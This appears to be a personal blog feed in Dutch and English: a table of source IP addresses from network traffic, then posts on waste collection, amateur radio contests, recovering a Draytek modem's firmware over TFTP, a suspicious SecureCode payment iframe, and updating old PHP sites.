185.44.107.183         45785 xxx.xxx.xxx.xxx        2 7 2      1 132706 2107890
184.105.139.90         35315 xxx.xxx.xxx.xxx        5 7 2      1 350936 2206670
191.96.249.61          30296 xxx.xxx.xxx.xxx        3 7 2      1  59063 2226284
195.22.127.173         40060 xxx.xxx.xxx.xxx        2 7 2      1  20615 2253429
184.105.139.114        56609 xxx.xxx.xxx.xxx        4 7 2      1 604491 2291452
104.243.41.52            123 xxx.xxx.xxx.xxx        2 7 2      1  85831 2381504
103.9.78.129           50367 xxx.xxx.xxx.xxx        2 7 2      1 868629 2449128
167.88.15.18           40815 xxx.xxx.xxx.xxx        2 7 2      1 182471 2525650
167.88.180.82          40640 xxx.xxx.xxx.xxx        2 7 2      1  66892 2715823
192.158.229.240        39284 xxx.xxx.xxx.xxx        4 7 2      1 163873 2759391
51.15.45.102           45371 xxx.xxx.xxx.xxx        2 7 2      1  92720 2768083
185.198.58.55          18637 xxx.xxx.xxx.xxx        2 7 0      1 802096 2787683
123.249.24.197         40362 xxx.xxx.xxx.xxx       37 7 2      1  85431 2983252
167.88.180.26          49125 xxx.xxx.xxx.xxx        4 7 2      1  60114 3023906
188.213.49.83          34969 xxx.xxx.xxx.xxx        2 7 2      1 254056 3095396
45.76.24.165           41025 xxx.xxx.xxx.xxx        2 7 2      1 107397 3103557
213.183.54.46          40409 xxx.xxx.xxx.xxx        5 7 2      1 206100 3224158
145.239.237.23         35814 xxx.xxx.xxx.xxx        2 7 2      1 571497 3264230
165.227.220.24         39557 xxx.xxx.xxx.xxx        2 7 2      1  52796 3292818
123.249.35.214         47756 xxx.xxx.xxx.xxx        2 7 2      1 242695 3296347
123.249.76.52          59698 xxx.xxx.xxx.xxx        8 7 2      1 246226 3446607
123.249.79.178         52301 xxx.xxx.xxx.xxx        2 7 2      1 839605 3455884
207.254.182.131        52337 xxx.xxx.xxx.xxx        4 7 2      1   1384 3648002
185.55.218.109         37602 xxx.xxx.xxx.xxx        2 7 2      1 752428 3652434
128.14.61.111          53586 xxx.xxx.xxx.xxx        3 7 2      1 103699 3796467
104.238.146.66         52224 xxx.xxx.xxx.xxx        2 7 2      1 138668 3837468
95.215.62.72           42111 xxx.xxx.xxx.xxx        4 7 2      1 608618 3932262
45.76.195.157          59987 xxx.xxx.xxx.xxx        2 7 2      1 143642 4096101
123.249.79.232         40165 xxx.xxx.xxx.xxx        4 7 2      1 146715 4317577
86.105.9.86            55857 xxx.xxx.xxx.xxx        4 7 2      1 115972 4329305
217.147.89.197         49717 xxx.xxx.xxx.xxx        4 7 2      1 314874 4463013
182.18.22.246          58611 xxx.xxx.xxx.xxx        3 7 2      1 359548 4485937
185.82.203.107         56661 xxx.xxx.xxx.xxx        7 7 2      1 176060 4516810
79.124.60.148          58043 xxx.xxx.xxx.xxx        2 7 2      1 687406 4684505
185.107.94.66          46254 xxx.xxx.xxx.xxx        2 7 2      1 1263073 4750583
191.96.249.84          49259 xxx.xxx.xxx.xxx        2 7 2      1 329846 5160890
111.121.193.201         6065 xxx.xxx.xxx.xxx        3 7 0      1 101832 5558503
185.188.207.15         33999 xxx.xxx.xxx.xxx        3 7 2      1  90416 5655119
185.117.74.118         52973 xxx.xxx.xxx.xxx        2 7 2      1   2174 5717159
185.82.203.58          59170 xxx.xxx.xxx.xxx        2 7 2      1  47838 5847404
185.162.128.66         39141 xxx.xxx.xxx.xxx        2 7 2      1   4837 5895126

All IP addresses with only 1 packet removed.

We hebben al een paar keer gehad dat er plastic afval achterbleef in de container daarvoor. Vandaag was het ophaaldag en zat de container vrij vol, maar ongeveer de onderste 1/3e bleef zitten.

De niet zo milieuvriendelijke oplossing is om wat er overblijft in een vuilniszak te stoppen en die bij het restafval te doen.

Ik heb toch maar een vriendelijke melding aan de gemeente gedaan of daar iets aan te verbeteren is. Ik ben benieuwd.

Update: Reactie van de gemeente:

Uw melding is opgenomen in de reguliere werkzaamheden. Het kan daardoor enige tijd duren voordat uw melding zichtbaar is opgelost.

Klinkt een beetje als een standaardtekst voor afvalinzamelingsproblemen. Maar ik ga het een paar keer aankijken hoe het gaat.

Update: Inderdaad geen problemen meer. Maar we zorgen nu zelf ook dat het plastic afval minder klem zit in de container.

As planned I participated in the UBA PSK63 prefix contest in the weekend. Activity was Saturday evening and Sunday morning interrupted by some good sleep.

Compared to my experiences in the ARRL RTTY roundup one weekend earlier the 40 meter band decided to act quite differently. On Saturday evening it was quite hard to make a contact. A lot of interference, no far away stations and it was hard to get heard by the other side. I stopped before 22:00 UTC (23:00 localtime) because I thought some sleep would be more effective than getting annoyed by the lack of contacts.

Indeed, Sunday morning things got better although I heard only nearby signals on the 40 meter band, including some Belgian stations. No serious DX. Belgian stations are good for extra multipliers so it was good for the score.

In the end I made 76 contacts. The last contact was started by a CQ I called at 11:59 UTC but it was only answered at 12:00, so it does count but I had to note it in the log as originating at 11:59 where the software normally logs the moment I see the callsign for the first time.

Log submitted and de Veron afdelingscompetitie updated.

I needed the recovery procedure again: there was a new firmware 3.8.12 with newer VDSL modem driver and the standard update via the webinterface failed.

I just want to keep the notes from "OzCableguy" since his shop and blog have gone. I found the saved version via archive.org, Updating Draytek firmare using the MacOS X or UNIX command line and TFTP - OzCableguy.

Draytek modems have several methods available to update their firmware.

You can use the Firmware Upgrade Utility under Windows, load it from the web interface via HTTP, FTP the file to the modem or use the TFTP (Trivial File Transfer Protocol) service built into the box.

If your modem has been bricked you can’t use FTP or HTTP. If you don’t want to use Windows or go through the web interface, then this TFTP method is a viable alternative. Note that unlike a lot of other boxes using TFTP to load firmware, the Draytek is acting as a TFTP server, the UNIX/MacOS box as a client and you PUT the file onto the modem. It is normally the other way around, but that needs some extra setup steps that are conveniently avoided with this method.

The firmware comes in two pieces. Use the .rst version of the file if you want to change the modem settings back to factory defaults, use the .all file to keep the current settings (.all may not be a good option if the modem is bricked).

Secondly you need an ethernet interface on your Mac or UNIX box set to the subnet 192.168.1.0 (eg: with IP address 192.168.1.10) so that you can talk to the modem at its default IP address of 192.168.1.1.

If the modem is up and running (and not bricked), you should now be able to ping it ..

$ ping 192.168.1.1
PING 192.168.1.1 (192.168.1.1): 56 data bytes
64 bytes from 192.168.1.1: icmp_seq=0 ttl=255 time=0.309 ms
64 bytes from 192.168.1.1: icmp_seq=1 ttl=255 time=0.421 ms
64 bytes from 192.168.1.1: icmp_seq=2 ttl=255 time=0.409 ms
^C
—-192.168.1.1 PING Statistics—-
3 packets transmitted, 3 packets received, 0% packet loss
round-trip min/avg/max/stddev = 0.309/0.380/0.421/0.050 ms$ 

If your modem is really bricked then the ping will only work when the modem is actually in TFTP upload mode as below. You can ignore this step, it just demonstrates that the ethernet cable is working.

Now we can upload the firmware. With the modem powered off, press and hold the factory reset button, then power up the modem. Continue to hold the button down until ’some’ of the lights flash together. On the Vigor2820Vn ’some’ is the left column of three. On the 2800 and 2910 the left two LEDs flash.

Release the button and on your UNIX/MacOS box type the following commands (note that the modem only stays in TFTP mode for a short time, you can actually type right up to the end of the put command and just press return when the left-hand modem lights start flashing).

The name of the firmware and the number of bytes transmitted depend on the product you are trying to recover.

$ tftp 192.168.1.1
tftp> binary
tftp> put v2820_v03301_211011_A.rst
Sent 4973144 bytes in 13.1 seconds
tftp> quit
$ 

There will be a pause after the ‘put’ command, but your modem ethernet port light should be flashing madly. The transfer is done when you get the “Sent” message. Quit the TFTP client and perhaps your Terminal session, there’s nothing more to see.

What happens next isn’t really documented but we presume that the modem has to unpack the firmware and load it into flash. On our 2820Vn the column of 3 lights continued to flash, but gradually slowed down, speeded up, then slowed again. Eventually after a minute or two the modem rebooted in the normal fashion. Just be patient.

And this last bit is where the windows utility is better: it will tell you when the recovery is done and a success. With a commandline tool you'll just have to wait for the leds to blink right.

After all the recovery and the waiting the modem works again and the line is stable. I chose the 'modem6' version again. I may try the 'modem5' and 'modem4' version too to see whether I can get lower latency without losing stability. Although the improvement may be in the single digit millisecond range so it would be a lot of work for very little improvement.

As in previous years, I am planning to participate in the UBA PSK63 Prefix Contest in the upcoming weekend.

I can't participate for 24 hours since other things have to be done too in the weekend including the all important 'sleep'.

I just finished the preparations:

• The endfed antenna for 10/20/40 is hanging outside
• The contest macros have been updated to call CQ UBA PFX TEST

On Saturday evening the 20 meter band will probably be closed by the time I am available for contesting. So I'll start on the 40 meter band. The choice for 40 meter band only or all band will have to be made on Sunday morning, depending on the amount of new contacts I can make in the 40 meter band.

For the past weekend I had the ARRL RTTY Roundup planned, meaning I had reserved time in the family calendar. Other things had to happen too but I reserved time for contesting and made sure I had the right macros available before the contest started. I hoped to find time to set up the endfed antenna before the contest but that did not happen so it was the first thing to do when we got home at the beginning of Saturday evening.

In the contest I only operated on the 40 meter band. Most of the time I was able to participate were in the dark when I did not expect the 20 meter band to cooperate and I thought that operating in just one band would make me end higher in the rankings for that more specific category. Only after the contest I read the rules exactly and noticed that this specific contest does not differentiate between single and multi band operation.

In the end I made 95 contacts. Local noise is high in my current setup so only the strongest stations came through the noise. I made only one contact in CQ mode, the rest was search and pounce. Propagation wasn't really good until late in the evenings when I managed to score some US contacts. I did see someone from Prince Edwards Island in Canada but that station did not hear me return. I noticed WP2B did not give me a US state but a serial number and found out that is a US Virgin Island callsign, so that was a new country for me.

In the end a nice contest. For upcoming contests: check the rules / propagation predictions and plan my strategy.

Ik wilde vandaag iets betalen in een website en die kwam vervolgens met "Mastercard securecode". Alleen de manier waarop was dusdanig dat ik de betaling afgebroken heb omdat ik het niet vertrouwde.

De afhandeling van Mastercard securecode was binnen een iframe van de website, in een compleet andere stijl dan de website. Vervolgens bleek bij het opvragen van details dat dat iframe komt van https://www.securesuite.co.uk/ing_retail/ wat geen EV certificaat heeft. Na het vragen om de creditcard gegevens kwam een vraag over de rekening die gekoppeld is aan de creditcard en een geboortedatum. Of dat gaat om mijn geboortedatum of die van de persoon van wie de creditcard is stond er niet bij.

Dus een ernstige phishing poging of een slechte implementatie van het voorkomen van fraude. Ooit heb ik de mastercard secure code ingesteld, en daar werd ook niet naar gevraagd. Ik heb er voor gekozen de betaling af te breken.

In 2010 schreef al iemand hierover: Verified by Visa and Mastercard SecureCode are broken and need to be fixed. Sindsdien is de enige verandering dat ik nu een EV certificaat op zo'n site zou verwachten. En dat heeft www.securesuite.co.uk niet.

After spending an evening fixing scripts on The Virtual Bookcase to make them run in PHP 7 and make them safer at the same time I came to the conclusion that I still don't like php.

My conclusion is that if I want to maintain sites I'd rather redo them in perl. I noticed any serious maintenance on the scripts of The Virtual Bookcase was 9 years ago (!). That was also when I had the habit of writing maintenance scripts in perl and web code in php. The upside is that a part of the page-generating code is already available in perl.

But a rewrite is a task for another day. For now the site works cleanly in PHP 7 (and 5) and I can go on to the next task for moving the homeserver.

In building the new homeserver there is also time to test things and improve robustness a bit (although I should not overdo it).

The one thing that forces me to look at some web-code again is that the new servers run PHP version 7. Some of my code is giving warnings, time to fix that. But I haven't written any serious PHP in ages, I just rewrote sites in mod_perl. So my PHP is rusty and needs work, especially with PHP 7.

It's a good thing I use version management, which allows me to test the fixes on the development version(s) of the site and push them to the production version when I'm happy with the results.

Some of the things I notice that could improve go on the todo list. One thing I did notice and fixed right away was that the CVS metadata inside the web directories could be requested too. Although I find no serious security information in there it is still an unwanted information leak.